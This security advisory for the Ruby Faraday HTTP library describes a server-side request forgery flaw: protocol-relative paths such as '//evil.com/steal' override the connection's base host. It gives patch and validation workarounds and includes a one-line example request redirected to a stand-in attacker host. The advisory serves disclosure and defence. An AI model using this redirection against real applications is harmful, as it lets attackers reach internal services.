Impact
Faraday's buildexclusiveurl method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(), post(), buildurl(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.
Example: ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation: ruby def safepath(userinput) raise ArgumentError, "Invalid path" if userinput.match?(%r{\A//[^/]}) userinput end
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